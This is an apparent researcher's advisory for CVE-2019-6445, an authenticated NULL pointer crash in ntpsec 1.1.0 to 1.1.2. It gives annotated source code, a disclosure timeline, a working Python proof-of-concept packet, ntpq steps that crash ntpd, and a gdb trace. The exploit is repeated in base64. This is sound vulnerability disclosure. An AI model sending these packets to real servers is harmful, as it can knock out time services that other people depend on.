_ _
/ | ___| |_ ___ ___ ___ ___
_ / / | | _| . |_ -| -_| _|
|_|_/ |_|_|_| | _|___|___|___|
|_|
2019-01-15
Authenticated NULL pointer exception in ntpsec
==============================================
CVE-2019-6445
This is the third of four bugs. For more visit:
dumpco.re/blog/ntpsec-bugsAn authenticated NULL pointer exception bug was found in ntpsec.
Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2
Timeline:
2018-10-20 Bug discovered
2018-10-20 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6445
It was found possible for an authenticated attacker to cause the ntpd
daemon to SIGSEGV due to a NULL pointer dereference in ntp_control.c.
valuep is set to NULL through a call to ctl_getitem on line 2911, and later
dereferenced on line 2930. See inline comments below:
2875 static void
2876 write_variables(
2877 struct recvbuf *rbufp,
2878 int restrict_mask
2879 )
2880 {
2881 const struct ctl_var *v;
2882 int ext_var;
2883 char *valuep;
2884 long val;
..
2893 val = 0;
..
2911 while ((v = ctl_getitem(sys_var, &valuep)) != 0) { // <- valuep is set to NULL in ctl_getitem()
2912 ext_var = 0;
..
2929 errno = 0;
2930 if (!ext_var && (*valuep == '\0' // <- valuep is dereferenced
2931 || (val = strtol(valuep, NULL, 10), errno != 0))) {
2509 ctl_getitem(
2510 const struct ctl_var *var_list,
2511 char **data
2512 )
2513 {
..
2521 static const struct ctl_var eol = { 0, EOV, NULL };
2522 static char buf[128];
2523 static u_long quiet_until;
2524 const struct ctl_var *v;
2525 char *cp;
2526 char *tp;
..
2538
2539 /* Scan the string in the packet until we hit comma or
2540 * EoB. Register position of first '=' on the fly. */
2541 for (tp = NULL, cp = reqpt; cp != reqend; ++cp) { // <- tp set to NULL
2542 if (*cp == '=' && tp == NULL) // <- condition is never met due to missing value in request
2543 tp = cp; // (the request doesn't contain an equals sign)
2544 if (*cp == ',')
2545 break;
2546 }
2547
2548 /* Process payload, if any. */
2549 *data = NULL; // <- *data set to NULL
2550 if (NULL != tp) { // <- condition is false, as tp is NULL
..
2566 /* copy data, NUL terminate, and set result data ptr */
2567 memcpy(buf, plhead, plsize);
2568 buf[plsize] = '\0';
2569 *data = buf; // <- this line is never executed, *data remains NULL
2570 } else {
2571 /* no payload, current end --> current name termination */
2572 tp = cp;
2573 }
..
2615 if (EOV & v->flags) // <- (0x80 & 3) evaluates to true
2616 *data = NULL; // <-- *data set to NULL again
2617 else
2618 reqpt = cp + (cp != reqend);
2619 return v;
Proof of concept exploit:
#!/usr/bin/env python
import sys
import socket
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")
sock = socket.socket(
socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Alternatively ntpq from ntp classic can be usedby performing an authenticated `writevar` request without a value:
ntp-4.2.8p12/ntpq/ntpq 127.0.0.1
ntpq> writevar 0 leap <-- note the absense of a variable value
Keyid: 1
MD5 Password: <-- enter the correct password, in this example "gurka"
127.0.0.1: timed out, nothing received
***Request timed out
ntpq>
$ cat ~/resources/ntp.conf
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
$ cat ~/resources/keys
1 M gurka
2 M agurk
$ sudo gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
gnu.org="" licenses="" gpl.html="">
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
gnu.org="" software="" gdb="" bugs="">.
Find the GDB manual and other documentation resources online at:
gnu.org="" software="" gdb="" documentation="">.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./build/main/ntpd/ntpd...done.
(gdb) r
Starting program: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2018-10-20T20:48:48 ntpd[75861]: INIT: ntpd ntpsec-1.1.2 2018-10-20T17:59:05Z: Starting
2018-10-20T20:48:48 ntpd[75861]: INIT: Command line: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: INIT: precision = 0.121 usec (-23)
2018-10-20T20:48:48 ntpd[75861]: INIT: successfully locked into RAM
2018-10-20T20:48:48 ntpd[75861]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
2018-10-20T20:48:48 ntpd[75861]: CONFIG: requestkey is a no-op because ntpdc has been removed.
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: reading /home/magnus/resources/keys
2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: added 2 keys
2018-10-20T20:48:48 ntpd[75861]: INIT: Using SO_TIMESTAMPNS
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 0 v6wildcard [::]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 2 lo 127.0.0.1:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 3 eth0 192.168.245.220:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 4 eth0 192.168.245.131:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 5 lo [::1]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
2018-10-20T20:48:48 ntpd[75861]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-20T20:48:48 ntpd[75861]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x000055555557d7f6 in write_variables (rbufp=0x5555557b3bb0, restrict_mask=0) at ../../ntpd/ntp_control.c:2930
2930 if (!ext_var && (*valuep == '\0'
(gdb)
Proof of discovery:
$ base64 bug3
ZXhwbG9pdDoKIyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBzeXMKaW1wb3J0IHNvY2tldAoK
YnVmID0gKCJceDE2XHgwM1x4MDBceDAzXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDRc
eDZjXHg2NVx4NjFceDcwIiArCiAgICAgICAiXHgwMFx4MDBceDAwXHgwMVx4NWNceGI3XHgzY1x4
ZGNceDlmXHg1Y1x4MWVceDZhXHhjNVx4OWJceGRmXHhmNSIgKwogICAgICAgIlx4NTZceGM4XHgw
N1x4ZDQiKQoKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NL
X0RHUkFNKQpzb2NrLnNlbmR0byhidWYsICgnMTI3LjAuMC4xJywgMTIzKSkKCm1hZ251c0BoNHhi
MHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNoZWQvbnRwc2VjLTEu
MS4yJCBjYXQgfi9yZXNvdXJjZXMvbnRwLmNvbmYgCiNzZXJ2ZXIgMTI3LjEyNy4xLjAgcHJlZmVy
CiNmdWRnZSAgMTI3LjEyNy4xLjAgc3RyYXR1bSAxMAojZHJpZnRmaWxlIC92YXIvbGliL250cC9k
cmlmdAojYnJvYWRjYXN0ZGVsYXkgMC4wMDgKCiNsb2dmaWxlIC90bXAvbnRwLmxvZwoKIyBHaXZl
IGxvY2FsaG9zdCBmdWxsIGFjY2VzcyByaWdodHMKcmVzdHJpY3QgMTI3LjAuMC4xCgojIEdpdmVu
IGxvY2FsIG1hY2hpbmUgYWNjZXNzIHRvIHF1ZXJ5CiNyZXN0cmljdCAxNzIuMTYuNTkuMTc5IG1h
c2sgMjU1LjI1NS4yNTUuMjU1IG5vbW9kaWZ5IG5vdHJhcAojIGRpc2FibGUgYXV0aAojZW5hYmxl
IGF1dGgKa2V5cyAvaG9tZS9tYWdudXMvcmVzb3VyY2VzL2tleXMKdHJ1c3RlZGtleSAxCmNvbnRy
b2xrZXkgMQpyZXF1ZXN0a2V5IDEKbWFnbnVzQGg0eGIweDp+L3Byb2plY3RzL250cHNlYy91bnRv
dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIkIHZpIH4vcmVzb3VyY2VzL2tleXMg
Cm1hZ251c0BoNHhiMHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNo
ZWQvbnRwc2VjLTEuMS4yJCBjYXQgfi9yZXNvdXJjZXMva2V5cyAKMSBNIGd1cmthCjIgTSBhZ3Vy
awptYWdudXNAaDR4YjB4On4vcHJvamVjdHMvbnRwc2VjL3VudG91Y2hlZC91bmZ1Y2tpbmd0b3Vj
aGVkL250cHNlYy0xLjEuMiQgc3VkbyBnZGIgLS1hcmdzIC4vYnVpbGQvbWFpbi9udHBkL250cGQg
LW4gLWMgfi9yZXNvdXJjZXMvbnRwLmNvbmYKR05VIGdkYiAoRGViaWFuIDcuNy4xK2Rmc2ctNSkg
Ny43LjEKQ29weXJpZ2h0IChDKSAyMDE0IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgpM
aWNlbnNlIEdQTHYzKzogR05VIEdQTCB2ZXJzaW9uIDMgb3IgbGF0ZXIgPGh0dHA6Ly9nbnUub3Jn
L2xpY2Vuc2VzL2dwbC5odG1sPgpUaGlzIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBhcmUgZnJlZSB0
byBjaGFuZ2UgYW5kIHJlZGlzdHJpYnV0ZSBpdC4KVGhlcmUgaXMgTk8gV0FSUkFOVFksIHRvIHRo
ZSBleHRlbnQgcGVybWl0dGVkIGJ5IGxhdy4gIFR5cGUgInNob3cgY29weWluZyIKYW5kICJzaG93
IHdhcnJhbnR5IiBmb3IgZGV0YWlscy4KVGhpcyBHREIgd2FzIGNvbmZpZ3VyZWQgYXMgIng4Nl82
NC1saW51eC1nbnUiLgpUeXBlICJzaG93IGNvbmZpZ3VyYXRpb24iIGZvciBjb25maWd1cmF0aW9u
IGRldGFpbHMuCkZvciBidWcgcmVwb3J0aW5nIGluc3RydWN0aW9ucywgcGxlYXNlIHNlZToKPGh0
dHA6Ly93d3cuZ251Lm9yZy9zb2Z0d2FyZS9nZGIvYnVncy8+LgpGaW5kIHRoZSBHREIgbWFudWFs
IGFuZCBvdGhlciBkb2N1bWVudGF0aW9uIHJlc291cmNlcyBvbmxpbmUgYXQ6CjxodHRwOi8vd3d3
LmdudS5vcmcvc29mdHdhcmUvZ2RiL2RvY3VtZW50YXRpb24vPi4KRm9yIGhlbHAsIHR5cGUgImhl
bHAiLgpUeXBlICJhcHJvcG9zIHdvcmQiIHRvIHNlYXJjaCBmb3IgY29tbWFuZHMgcmVsYXRlZCB0
byAid29yZCIuLi4KUmVhZGluZyBzeW1ib2xzIGZyb20gLi9idWlsZC9tYWluL250cGQvbnRwZC4u
LmRvbmUuCihnZGIpIHIKU3RhcnRpbmcgcHJvZ3JhbTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250
cHNlYy91bnRvdWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9u
dHBkL250cGQgLW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgpbVGhyZWFkIGRl
YnVnZ2luZyB1c2luZyBsaWJ0aHJlYWRfZGIgZW5hYmxlZF0KVXNpbmcgaG9zdCBsaWJ0aHJlYWRf
ZGIgbGlicmFyeSAiL2xpYi94ODZfNjQtbGludXgtZ251L2xpYnRocmVhZF9kYi5zby4xIi4KMjAx
OC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU5JVDogbnRwZCBudHBzZWMtMS4xLjIgMjAx
OC0xMC0yMFQxNzo1OTowNVo6IFN0YXJ0aW5nCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2
MV06IElOSVQ6IENvbW1hbmQgbGluZTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250cHNlYy91bnRv
dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9udHBkL250cGQg
LW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgoyMDE4LTEwLTIwVDIwOjQ4OjQ4
IG50cGRbNzU4NjFdOiBJTklUOiBwcmVjaXNpb24gPSAwLjEyMSB1c2VjICgtMjMpCjIwMTgtMTAt
MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IHN1Y2Nlc3NmdWxseSBsb2NrZWQgaW50byBS
QU0KMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZWFkY29uZmlnOiBw
YXJzaW5nIGZpbGU6IC9ob21lL21hZ251cy9yZXNvdXJjZXMvbnRwLmNvbmYKMjAxOC0xMC0yMFQy
MDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZXF1ZXN0a2V5IGlzIGEgbm8tb3AgYmVjYXVz
ZSBudHBkYyBoYXMgYmVlbiByZW1vdmVkLgoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFd
OiBBVVRIOiBhdXRocmVhZGtleXM6IHJlYWRpbmcgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9rZXlz
CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IEFVVEg6IGF1dGhyZWFka2V5czogYWRk
ZWQgMiBrZXlzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IFVzaW5nIFNP
X1RJTUVTVEFNUE5TCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4g
YW5kIGRyb3Agb24gMCB2NndpbGRjYXJkIFs6Ol06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRw
ZFs3NTg2MV06IElPOiBMaXN0ZW4gYW5kIGRyb3Agb24gMSB2NHdpbGRjYXJkIDAuMC4wLjA6MTIz
CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24g
MiBsbyAxMjcuMC4wLjE6MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBM
aXN0ZW4gbm9ybWFsbHkgb24gMyBldGgwIDE5Mi4xNjguMjQ1LjIyMDoxMjMKMjAxOC0xMC0yMFQy
MDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbiBub3JtYWxseSBvbiA0IGV0aDAgMTkyLjE2
OC4yNDUuMTMxOjEyMwoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFdOiBJTzogTGlzdGVu
IG5vcm1hbGx5IG9uIDUgbG8gWzo6MV06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2
MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24gNiBldGgwIFtmZTgwOjo1MDo1NmZmOmZlMzg6ZDdi
OCUyXToxMjMKMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbmluZyBv
biByb3V0aW5nIHNvY2tldCBvbiBmZCAjMjMgZm9yIGludGVyZmFjZSB1cGRhdGVzCjIwMTgtMTAt
MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IHN0YXRpc3RpY3MgZGlyZWN0b3J5IC92YXIvTlRQLyBk
b2VzIG5vdCBleGlzdCBvciBpcyB1bndyaXRlYWJsZSwgZXJyb3IgTm8gc3VjaCBmaWxlIG9yIGRp
cmVjdG9yeQoKUHJvZ3JhbSByZWNlaXZlZCBzaWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZh
dWx0LgoweDAwMDA1NTU1NTU1N2Q3ZjYgaW4gd3JpdGVfdmFyaWFibGVzIChyYnVmcD0weDU1NTU1
NTdiM2JiMCwgcmVzdHJpY3RfbWFzaz0wKSBhdCAuLi8uLi9udHBkL250cF9jb250cm9sLmM6Mjkz
MAoyOTMwICAgICAgaWYgKCFleHRfdmFyICYmICgqdmFsdWVwID09ICdcMCcKKGdkYikgCgo=
$ sha256sum bug3
905842a970b7f05cc2f3e35af70a2c6666af6c845d7ecea3264b3f574ac921fb bug3
twitter.com/magnusstubman/status/1053732547438538754
# References
- ftp://ftp.ntpsec.org/pub/releases
- gitlab.com/NTPsec/ntpsec/issues/509
- cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6445